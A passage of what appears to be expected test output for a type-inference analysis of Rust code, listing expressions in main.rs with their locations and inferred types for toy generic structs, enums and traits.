main.rs:263:5:266:5 | MyThing | -| main.rs:320:16:320:32 | MyThing {...} | T | main.rs:268:5:269:14 | S1 | -| main.rs:320:29:320:30 | S1 | | main.rs:268:5:269:14 | S1 | -| main.rs:322:13:322:14 | y3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:322:13:322:14 | y3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:322:13:322:14 | y3 | T.T | main.rs:270:5:271:14 | S2 | -| main.rs:322:18:324:9 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:322:18:324:9 | MyThing {...} | T | main.rs:263:5:266:5 | MyThing | -| main.rs:322:18:324:9 | MyThing {...} | T.T | main.rs:270:5:271:14 | S2 | -| main.rs:323:16:323:32 | MyThing {...} | | main.rs:263:5:266:5 | MyThing | -| main.rs:323:16:323:32 | MyThing {...} | T | main.rs:270:5:271:14 | S2 | -| main.rs:323:29:323:30 | S2 | | main.rs:270:5:271:14 | S2 | -| main.rs:326:26:326:48 | call_trait_thing_m1(...) | | main.rs:268:5:269:14 | S1 | -| main.rs:326:46:326:47 | x3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:326:46:326:47 | x3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:326:46:326:47 | x3 | T.T | main.rs:268:5:269:14 | S1 | -| main.rs:327:26:327:48 | call_trait_thing_m1(...) | | main.rs:270:5:271:14 | S2 | -| main.rs:327:46:327:47 | y3 | | main.rs:263:5:266:5 | MyThing | -| main.rs:327:46:327:47 | y3 | T | main.rs:263:5:266:5 | MyThing | -| main.rs:327:46:327:47 | y3 | T.T | main.rs:270:5:271:14 | S2 | -| main.rs:338:19:338:22 | SelfParam | | main.rs:332:5:335:5 | Wrapper | -| main.rs:338:19:338:22 | SelfParam | A | main.rs:337:10:337:10 | A | -| main.rs:338:30:340:9 | { ... } | | main.rs:337:10:337:10 | A | -| main.rs:339:13:339:16 | self | | main.rs:332:5:335:5 | Wrapper | -| main.rs:339:13:339:16 | self | A | main.rs:337:10:337:10 | A | -| main.rs:339:13:339:22 | self.field | | main.rs:337:10:337:10 | A | -| main.rs:347:15:347:18 | SelfParam | | main.rs:343:5:357:5 | Self [trait MyTrait] | -| main.rs:349:15:349:18 | SelfParam | | main.rs:343:5:357:5 | Self [trait MyTrait] | -| main.rs:353:9:356:9 | { ... } | | main.rs:344:9:344:28 | AssociatedType | -| main.rs:354:13:354:16 | self | | main.rs:343:5:357:5 | Self [trait MyTrait] | -| main.rs:354:13:354:21 | self.m1() | | main.rs:344:9:344:28 | AssociatedType | -| main.rs:355:13:355:43 | ...::default(...) | | main.rs:344:9:344:28 | AssociatedType | -| main.rs:363:19:363:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:363:19:363:23 | SelfParam | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:363:26:363:26 | a | | main.rs:363:16:363:16 | A | -| main.rs:365:22:365:26 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:365:22:365:26 | SelfParam | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:365:29:365:29 | a | | main.rs:365:19:365:19 | A | -| main.rs:365:35:365:35 | b | | main.rs:365:19:365:19 | A | -| main.rs:365:75:368:9 | { ... } | | main.rs:360:9:360:52 | GenericAssociatedType | -| main.rs:366:13:366:16 | self | | file://:0:0:0:0 | & | -| main.rs:366:13:366:16 | self | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:366:13:366:23 | self.put(...) | | main.rs:360:9:360:52 | GenericAssociatedType | -| main.rs:366:22:366:22 | a | | main.rs:365:19:365:19 | A | -| main.rs:367:13:367:16 | self | | file://:0:0:0:0 | & | -| main.rs:367:13:367:16 | self | &T | main.rs:359:5:369:5 | Self [trait MyTraitAssoc2] | -| main.rs:367:13:367:23 | self.put(...) | | main.rs:360:9:360:52 | GenericAssociatedType | -| main.rs:367:22:367:22 | b | | main.rs:365:19:365:19 | A | -| main.rs:376:21:376:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:376:21:376:25 | SelfParam | &T | main.rs:371:5:381:5 | Self [trait TraitMultipleAssoc] | -| main.rs:378:20:378:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:378:20:378:24 | SelfParam | &T | main.rs:371:5:381:5 | Self [trait TraitMultipleAssoc] | -| main.rs:380:20:380:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:380:20:380:24 | SelfParam | &T | main.rs:371:5:381:5 | Self [trait TraitMultipleAssoc] | -| main.rs:396:15:396:18 | SelfParam | | main.rs:383:5:384:13 | S | -| main.rs:396:45:398:9 | { ... } | | main.rs:389:5:390:14 | AT | -| main.rs:397:13:397:14 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:406:19:406:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:406:19:406:23 | SelfParam | &T | main.rs:383:5:384:13 | S | -| main.rs:406:26:406:26 | a | | main.rs:406:16:406:16 | A | -| main.rs:406:46:408:9 | { ... } | | main.rs:332:5:335:5 | Wrapper | -| main.rs:406:46:408:9 | { ... } | A | main.rs:406:16:406:16 | A | -| main.rs:407:13:407:32 | Wrapper {...} | | main.rs:332:5:335:5 | Wrapper | -| main.rs:407:13:407:32 | Wrapper {...} | A | main.rs:406:16:406:16 | A | -| main.rs:407:30:407:30 | a | | main.rs:406:16:406:16 | A | -| main.rs:415:15:415:18 | SelfParam | | main.rs:386:5:387:14 | S2 | -| main.rs:415:45:417:9 | { ... } | | main.rs:332:5:335:5 | Wrapper | -| main.rs:415:45:417:9 | { ... } | A | main.rs:386:5:387:14 | S2 | -| main.rs:416:13:416:35 | Wrapper {...} | | main.rs:332:5:335:5 | Wrapper | -| main.rs:416:13:416:35 | Wrapper {...} | A | main.rs:386:5:387:14 | S2 | -| main.rs:416:30:416:33 | self | | main.rs:386:5:387:14 | S2 | -| main.rs:422:30:424:9 | { ... } | | main.rs:332:5:335:5 | Wrapper | -| main.rs:422:30:424:9 | { ... } | A | main.rs:386:5:387:14 | S2 | -| main.rs:423:13:423:33 | Wrapper {...} | | main.rs:332:5:335:5 | Wrapper | -| main.rs:423:13:423:33 | Wrapper {...} | A | main.rs:386:5:387:14 | S2 | -| main.rs:423:30:423:31 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:428:22:428:26 | thing | | main.rs:428:10:428:19 | T | -| main.rs:429:9:429:13 | thing | | main.rs:428:10:428:19 | T | -| main.rs:436:21:436:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:436:21:436:25 | SelfParam | &T | main.rs:389:5:390:14 | AT | -| main.rs:436:34:438:9 | { ... } | | main.rs:389:5:390:14 | AT | -| main.rs:437:13:437:14 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:440:20:440:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:440:20:440:24 | SelfParam | &T | main.rs:389:5:390:14 | AT | -| main.rs:440:43:442:9 | { ... } | | main.rs:383:5:384:13 | S | -| main.rs:441:13:441:13 | S | | main.rs:383:5:384:13 | S | -| main.rs:444:20:444:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:444:20:444:24 | SelfParam | &T | main.rs:389:5:390:14 | AT | -| main.rs:444:43:446:9 | { ... } | | main.rs:386:5:387:14 | S2 | -| main.rs:445:13:445:14 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:450:13:450:14 | x1 | | main.rs:383:5:384:13 | S | -| main.rs:450:18:450:18 | S | | main.rs:383:5:384:13 | S | -| main.rs:452:26:452:27 | x1 | | main.rs:383:5:384:13 | S | -| main.rs:452:26:452:32 | x1.m1() | | main.rs:389:5:390:14 | AT | -| main.rs:454:13:454:14 | x2 | | main.rs:383:5:384:13 | S | -| main.rs:454:18:454:18 | S | | main.rs:383:5:384:13 | S | -| main.rs:456:13:456:13 | y | | main.rs:389:5:390:14 | AT | -| main.rs:456:17:456:18 | x2 | | main.rs:383:5:384:13 | S | -| main.rs:456:17:456:23 | x2.m2() | | main.rs:389:5:390:14 | AT | -| main.rs:457:26:457:26 | y | | main.rs:389:5:390:14 | AT | -| main.rs:459:13:459:14 | x3 | | main.rs:383:5:384:13 | S | -| main.rs:459:18:459:18 | S | | main.rs:383:5:384:13 | S | -| main.rs:461:26:461:27 | x3 | | main.rs:383:5:384:13 | S | -| main.rs:461:26:461:34 | x3.put(...) | | main.rs:332:5:335:5 | Wrapper | -| main.rs:464:26:464:27 | x3 | | main.rs:383:5:384:13 | S | -| main.rs:466:20:466:20 | S | | main.rs:383:5:384:13 | S | -| main.rs:469:13:469:14 | x5 | | main.rs:386:5:387:14 | S2 | -| main.rs:469:18:469:19 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:470:26:470:27 | x5 | | main.rs:386:5:387:14 | S2 | -| main.rs:470:26:470:32 | x5.m1() | | main.rs:332:5:335:5 | Wrapper | -| main.rs:470:26:470:32 | x5.m1() | A | main.rs:386:5:387:14 | S2 | -| main.rs:471:13:471:14 | x6 | | main.rs:386:5:387:14 | S2 | -| main.rs:471:18:471:19 | S2 | | main.rs:386:5:387:14 | S2 | -| main.rs:472:26:472:27 | x6 | | main.rs:386:5:387:14 | S2 | -| main.rs:472:26:472:32 | x6.m2() | | main.rs:332:5:335:5 | Wrapper | -| main.rs:472:26:472:32 | x6.m2() | A | main.rs:386:5:387:14 | S2 | -| main.rs:474:13:474:22 | assoc_zero | | main.rs:389:5:390:14 | AT | -| main.rs:474:26:474:27 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:474:26:474:38 | AT.get_zero() | | main.rs:389:5:390:14 | AT | -| main.rs:475:13:475:21 | assoc_one | | main.rs:383:5:384:13 | S | -| main.rs:475:25:475:26 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:475:25:475:36 | AT.get_one() | | main.rs:383:5:384:13 | S | -| main.rs:476:13:476:21 | assoc_two | | main.rs:386:5:387:14 | S2 | -| main.rs:476:25:476:26 | AT | | main.rs:389:5:390:14 | AT | -| main.rs:476:25:476:36 | AT.get_two() | | main.rs:386:5:387:14 | S2 | -| main.rs:493:15:493:18 | SelfParam | | main.rs:481:5:485:5 | MyEnum | -| main.rs:493:15:493:18 | SelfParam | A | main.rs:492:10:492:10 | T | -| main.rs:493:26:498:9 | { ... } | | main.rs:492:10:492:10 | T | -| main.rs:494:13:497:13 | match self { ... } | | main.rs:492:10:492:10 | T | -| main.rs:494:19:494:22 | self | | main.rs:481:5:485:5 | MyEnum | -| main.rs:494:19:494:22 | self | A | main.rs:492:10:492:10 | T | -| main.rs:495:28:495:28 | a | | main.rs:492:10:492:10 | T | -| main.rs:495:34:495:34 | a | | main.rs:492:10:492:10 | T | -| main.rs:496:30:496:30 | a | | main.rs:492:10:492:10 | T | -| main.rs:496:37:496:37 | a | | main.rs:492:10:492:10 | T | -| main.rs:502:13:502:13 | x | | main.rs:481:5:485:5 | MyEnum | -| main.rs:502:13:502:13 | x | A | main.rs:487:5:488:14 | S1 | -| main.rs:502:17:502:30 | ...::C1(...) | | main.rs:481:5:485:5 | MyEnum | -| main.rs:502:17:502:30 | ...::C1(...) | A | main.rs:487:5:488:14 | S1 | -| main.rs:502:28:502:29 | S1 | | main.rs:487:5:488:14 | S1 | -| main.rs:503:13:503:13 | y | | main.rs:481:5:485:5 | MyEnum | -| main.rs:503:13:503:13 | y | A | main.rs:489:5:490:14 | S2 | -| main.rs:503:17:503:36 | ...::C2 {...} | | main.rs:481:5:485:5 | MyEnum | -| main.rs:503:17:503:36 | ...::C2 {...} | A | main.rs:489:5:490:14 | S2 | -| main.rs:503:33:503:34 | S2 | | main.rs:489:5:490:14 | S2 | -| main.rs:505:26:505:26 | x | | main.rs:481:5:485:5 | MyEnum | -| main.rs:505:26:505:26 | x | A | main.rs:487:5:488:14 | S1 | -| main.rs:505:26:505:31 | x.m1() | | main.rs:487:5:488:14 | S1 | -| main.rs:506:26:506:26 | y | | main.rs:481:5:485:5 | MyEnum | -| main.rs:506:26:506:26 | y | A | main.rs:489:5:490:14 | S2 | -| main.rs:506:26:506:31 | y.m1() | | main.rs:489:5:490:14 | S2 | -| main.rs:528:15:528:18 | SelfParam | | main.rs:526:5:529:5 | Self [trait MyTrait1] | -| main.rs:532:15:532:18 | SelfParam | | main.rs:531:5:542:5 | Self [trait MyTrait2] | -| main.rs:535:9:541:9 | { ... } | | main.rs:531:20:531:22 | Tr2 | -| main.rs:536:13:540:13 | if ... {...} else {...} | | main.rs:531:20:531:22 | Tr2 | -| main.rs:536:26:538:13 | { ... } | | main.rs:531:20:531:22 | Tr2 | -| main.rs:537:17:537:20 | self | | main.rs:531:5:542:5 | Self [trait MyTrait2] | -| main.rs:537:17:537:25 | self.m1() | | main.rs:531:20:531:22 | Tr2 | -| main.rs:538:20:540:13 | { ... } | | main.rs:531:20:531:22 | Tr2 | -| main.rs:539:17:539:30 | ...::m1(...) | | main.rs:531:20:531:22 | Tr2 | -| main.rs:539:26:539:29 | self | | main.rs:531:5:542:5 | Self [trait MyTrait2] | -| main.rs:545:15:545:18 | SelfParam | | main.rs:544:5:555:5 | Self [trait MyTrait3] | -| main.rs:548:9:554:9 | { ... } | | main.rs:544:20:544:22 | Tr3 | -| main.rs:549:13:553:13 | if ... {...} else {...} | | main.rs:544:20:544:22 | Tr3 | -| main.rs:549:26:551:13 | { ... } | | main.rs:544:20:544:22 | Tr3 | -| main.rs:550:17:550:20 | self | | main.rs:544:5:555:5 | Self [trait MyTrait3] | -| main.rs:550:17:550:25 | self.m2() | | main.rs:511:5:514:5 | MyThing | -| main.rs:550:17:550:25 | self.m2() | A | main.rs:544:20:544:22 | Tr3 | -| main.rs:550:17:550:27 | ... .a | | main.rs:544:20:544:22 | Tr3 | -| main.rs:551:20:553:13 | { ... } | | main.rs:544:20:544:22 | Tr3 | -| main.rs:552:17:552:30 | ...::m2(...) | | main.rs:511:5:514:5 | MyThing | -| main.rs:552:17:552:30 | ...::m2(...) | A | main.rs:544:20:544:22 | Tr3 | -| main.rs:552:17:552:32 | ... .a | | main.rs:544:20:544:22 | Tr3 | -| main.rs:552:26:552:29 | self | | main.rs:544:5:555:5 | Self [trait MyTrait3] | -| main.rs:559:15:559:18 | SelfParam | | main.rs:511:5:514:5 | MyThing | -| main.rs:559:15:559:18 | SelfParam | A | main.rs:557:10:557:10 | T | -| main.rs:559:26:561:9 | { ... } | | main.rs:557:10:557:10 | T | -| main.rs:560:13:560:16 | self | | main.rs:511:5:514:5 | MyThing | -| main.rs:560:13:560:16 | self | A | main.rs:557:10:557:10 | T | -| main.rs:560:13:560:18 | self.a | | main.rs:557:10:557:10 | T | -| main.rs:568:15:568:18 | SelfParam | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:568:15:568:18 | SelfParam | A | main.rs:566:10:566:10 | T | -| main.rs:568:35:570:9 | { ... } | | main.rs:511:5:514:5 | MyThing | -| main.rs:568:35:570:9 | { ... } | A | main.rs:566:10:566:10 | T | -| main.rs:569:13:569:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:569:13:569:33 | MyThing {...} | A | main.rs:566:10:566:10 | T | -| main.rs:569:26:569:29 | self | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:569:26:569:29 | self | A | main.rs:566:10:566:10 | T | -| main.rs:569:26:569:31 | self.a | | main.rs:566:10:566:10 | T | -| main.rs:578:13:578:13 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:578:13:578:13 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:578:17:578:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:578:17:578:33 | MyThing {...} | A | main.rs:521:5:522:14 | S1 | -| main.rs:578:30:578:31 | S1 | | main.rs:521:5:522:14 | S1 | -| main.rs:579:13:579:13 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:579:13:579:13 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:579:17:579:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:579:17:579:33 | MyThing {...} | A | main.rs:523:5:524:14 | S2 | -| main.rs:579:30:579:31 | S2 | | main.rs:523:5:524:14 | S2 | -| main.rs:581:26:581:26 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:581:26:581:26 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:581:26:581:31 | x.m1() | | main.rs:521:5:522:14 | S1 | -| main.rs:582:26:582:26 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:582:26:582:26 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:582:26:582:31 | y.m1() | | main.rs:523:5:524:14 | S2 | -| main.rs:584:13:584:13 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:584:13:584:13 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:584:17:584:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:584:17:584:33 | MyThing {...} | A | main.rs:521:5:522:14 | S1 | -| main.rs:584:30:584:31 | S1 | | main.rs:521:5:522:14 | S1 | -| main.rs:585:13:585:13 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:585:13:585:13 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:585:17:585:33 | MyThing {...} | | main.rs:511:5:514:5 | MyThing | -| main.rs:585:17:585:33 | MyThing {...} | A | main.rs:523:5:524:14 | S2 | -| main.rs:585:30:585:31 | S2 | | main.rs:523:5:524:14 | S2 | -| main.rs:587:26:587:26 | x | | main.rs:511:5:514:5 | MyThing | -| main.rs:587:26:587:26 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:587:26:587:31 | x.m2() | | main.rs:521:5:522:14 | S1 | -| main.rs:588:26:588:26 | y | | main.rs:511:5:514:5 | MyThing | -| main.rs:588:26:588:26 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:588:26:588:31 | y.m2() | | main.rs:523:5:524:14 | S2 | -| main.rs:590:13:590:13 | x | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:590:13:590:13 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:590:17:590:34 | MyThing2 {...} | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:590:17:590:34 | MyThing2 {...} | A | main.rs:521:5:522:14 | S1 | -| main.rs:590:31:590:32 | S1 | | main.rs:521:5:522:14 | S1 | -| main.rs:591:13:591:13 | y | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:591:13:591:13 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:591:17:591:34 | MyThing2 {...} | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:591:17:591:34 | MyThing2 {...} | A | main.rs:523:5:524:14 | S2 | -| main.rs:591:31:591:32 | S2 | | main.rs:523:5:524:14 | S2 | -| main.rs:593:26:593:26 | x | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:593:26:593:26 | x | A | main.rs:521:5:522:14 | S1 | -| main.rs:593:26:593:31 | x.m3() | | main.rs:521:5:522:14 | S1 | -| main.rs:594:26:594:26 | y | | main.rs:516:5:519:5 | MyThing2 | -| main.rs:594:26:594:26 | y | A | main.rs:523:5:524:14 | S2 | -| main.rs:594:26:594:31 | y.m3() | | main.rs:523:5:524:14 | S2 | -| main.rs:612:22:612:22 | x | | file://:0:0:0:0 | & | -| main.rs:612:22:612:22 | x | &T | main.rs:612:11:612:19 | T | -| main.rs:612:35:614:5 | { ... } | | file://:0:0:0:0 | & | -| main.rs:612:35:614:5 | { ... } | &T | main.rs:612:11:612:19 | T | -| main.rs:613:9:613:9 | x | | file://:0:0:0:0 | & | -| main.rs:613:9:613:9 | x | &T | main.rs:612:11:612:19 | T | -| main.rs:617:17:617:20 | SelfParam | | main.rs:602:5:603:14 | S1 | -| main.rs:617:29:619:9 | { ... } | | main.rs:605:5:606:14 | S2 | -| main.rs:618:13:618:14 | S2 | | main.rs:605:5:606:14 | S2 | -| main.rs:622:21:622:21 | x | | main.rs:622:13:622:14 | T1 | -| main.rs:625:5:627:5 | { ... } | | main.rs:622:17:622:18 | T2 | -| main.rs:626:9:626:9 | x | | main.rs:622:13:622:14 | T1 | -| main.rs:626:9:626:16 | x.into() | | main.rs:622:17:622:18 | T2 | -| main.rs:630:13:630:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:630:17:630:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:631:26:631:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:631:26:631:31 | id(...) | &T | main.rs:602:5:603:14 | S1 | -| main.rs:631:29:631:30 | &x | | file://:0:0:0:0 | & | -| main.rs:631:29:631:30 | &x | &T | main.rs:602:5:603:14 | S1 | -| main.rs:631:30:631:30 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:633:13:633:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:633:17:633:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:634:26:634:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:634:26:634:37 | id::<...>(...) | &T | main.rs:602:5:603:14 | S1 | -| main.rs:634:35:634:36 | &x | | file://:0:0:0:0 | & | -| main.rs:634:35:634:36 | &x | &T | main.rs:602:5:603:14 | S1 | -| main.rs:634:36:634:36 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:636:13:636:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:636:17:636:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:637:26:637:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:637:26:637:44 | id::<...>(...) | &T | main.rs:602:5:603:14 | S1 | -| main.rs:637:42:637:43 | &x | | file://:0:0:0:0 | & | -| main.rs:637:42:637:43 | &x | &T | main.rs:602:5:603:14 | S1 | -| main.rs:637:43:637:43 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:639:13:639:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:639:17:639:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:640:9:640:25 | into::<...>(...) | | main.rs:605:5:606:14 | S2 | -| main.rs:640:24:640:24 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:642:13:642:13 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:642:17:642:18 | S1 | | main.rs:602:5:603:14 | S1 | -| main.rs:643:13:643:13 | y | | main.rs:605:5:606:14 | S2 | -| main.rs:643:21:643:27 | into(...) | | main.rs:605:5:606:14 | S2 | -| main.rs:643:26:643:26 | x | | main.rs:602:5:603:14 | S1 | -| main.rs:657:22:657:25 | SelfParam | | main.rs:648:5:654:5 | PairOption | -| main.rs:657:22:657:25 | SelfParam | Fst | main.rs:656:10:656:12 | Fst | -| main.rs:657:22:657:25 | SelfParam | Snd | main.rs:656:15:656:17 | Snd | -| main.rs:657:35:664:9 | { ... } | | main.rs:656:15:656:17 | Snd | -| main.rs:658:13:663:13 | match self { ... } | | main.rs:656:15:656:17 | Snd | -| main.rs:658:19:658:22 | self | | main.rs:648:5:654:5 | PairOption | -| main.rs:658:19:658:22 | self | Fst | main.rs:656:10:656:12 | Fst | -| main.rs:658:19:658:22 | self | Snd | main.rs:656:15:656:17 | Snd | -| main.rs:659:43:659:82 | MacroExpr | | main.rs:656:15:656:17 | Snd | -| main.rs:660:43:660:81 | MacroExpr | | main.rs:656:15:656:17 | Snd | -| main.rs:661:37:661:39 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:661:45:661:47 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:662:41:662:43 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:662:49:662:51 | snd | | main.rs:656:15:656:17 | Snd | -| main.rs:688:10:688:10 | t | | main.rs:648:5:654:5 | PairOption | -| main.rs:688:10:688:10 | t | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:688:10:688:10 | t | Snd | main.rs:648:5:654:5 | PairOption | -| main.rs:688:10:688:10 | t | Snd.Fst | main.rs:670:5:671:14 | S2 | -| main.rs:688:10:688:10 | t | Snd.Snd | main.rs:673:5:674:14 | S3 | -| main.rs:689:13:689:13 | x | | main.rs:673:5:674:14 | S3 | -| main.rs:689:17:689:17 | t | | main.rs:648:5:654:5 | PairOption | -| main.rs:689:17:689:17 | t | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:689:17:689:17 | t | Snd | main.rs:648:5:654:5 | PairOption | -| main.rs:689:17:689:17 | t | Snd.Fst | main.rs:670:5:671:14 | S2 | -| main.rs:689:17:689:17 | t | Snd.Snd | main.rs:673:5:674:14 | S3 | -| main.rs:689:17:689:29 | t.unwrapSnd() | | main.rs:648:5:654:5 | PairOption | -| main.rs:689:17:689:29 | t.unwrapSnd() | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:689:17:689:29 | t.unwrapSnd() | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:689:17:689:41 | ... .unwrapSnd() | | main.rs:673:5:674:14 | S3 | -| main.rs:690:26:690:26 | x | | main.rs:673:5:674:14 | S3 | -| main.rs:695:13:695:14 | p1 | | main.rs:648:5:654:5 | PairOption | -| main.rs:695:13:695:14 | p1 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:695:13:695:14 | p1 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:695:26:695:53 | ...::PairBoth(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:695:26:695:53 | ...::PairBoth(...) | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:695:26:695:53 | ...::PairBoth(...) | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:695:47:695:48 | S1 | | main.rs:667:5:668:14 | S1 | -| main.rs:695:51:695:52 | S2 | | main.rs:670:5:671:14 | S2 | -| main.rs:696:26:696:27 | p1 | | main.rs:648:5:654:5 | PairOption | -| main.rs:696:26:696:27 | p1 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:696:26:696:27 | p1 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:699:13:699:14 | p2 | | main.rs:648:5:654:5 | PairOption | -| main.rs:699:13:699:14 | p2 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:699:13:699:14 | p2 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:699:26:699:47 | ...::PairNone(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:699:26:699:47 | ...::PairNone(...) | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:699:26:699:47 | ...::PairNone(...) | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:700:26:700:27 | p2 | | main.rs:648:5:654:5 | PairOption | -| main.rs:700:26:700:27 | p2 | Fst | main.rs:667:5:668:14 | S1 | -| main.rs:700:26:700:27 | p2 | Snd | main.rs:670:5:671:14 | S2 | -| main.rs:703:13:703:14 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:703:13:703:14 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:703:13:703:14 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:703:34:703:56 | ...::PairSnd(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:703:34:703:56 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:703:34:703:56 | ...::PairSnd(...) | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:703:54:703:55 | S3 | | main.rs:673:5:674:14 | S3 | -| main.rs:704:26:704:27 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:704:26:704:27 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:704:26:704:27 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:707:13:707:14 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:707:13:707:14 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:707:13:707:14 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:707:35:707:56 | ...::PairNone(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:707:35:707:56 | ...::PairNone(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:707:35:707:56 | ...::PairNone(...) | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:708:26:708:27 | p3 | | main.rs:648:5:654:5 | PairOption | -| main.rs:708:26:708:27 | p3 | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:708:26:708:27 | p3 | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:710:11:710:54 | ...::PairSnd(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Snd | main.rs:648:5:654:5 | PairOption | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Snd.Fst | main.rs:670:5:671:14 | S2 | -| main.rs:710:11:710:54 | ...::PairSnd(...) | Snd.Snd | main.rs:673:5:674:14 | S3 | -| main.rs:710:31:710:53 | ...::PairSnd(...) | | main.rs:648:5:654:5 | PairOption | -| main.rs:710:31:710:53 | ...::PairSnd(...) | Fst | main.rs:670:5:671:14 | S2 | -| main.rs:710:31:710:53 | ...::PairSnd(...) | Snd | main.rs:673:5:674:14 | S3 | -| main.rs:710:51:710:52 | S3 | | main.rs:673:5:674:14 | S3 | -| main.rs:723:16:723:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:723:16:723:24 | SelfParam | &T | main.rs:721:5:728:5 | Self [trait MyTrait] | -| main.rs:723:27:723:31 | value | | main.rs:721:19:721:19 | S | -| main.rs:725:21:725:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:725:21:725:29 | SelfParam | &T | main.rs:721:5:728:5 | Self [trait MyTrait] | -| main.rs:725:32:725:36 | value | | main.rs:721:19:721:19 | S | -| main.rs:726:13:726:16 | self | | file://:0:0:0:0 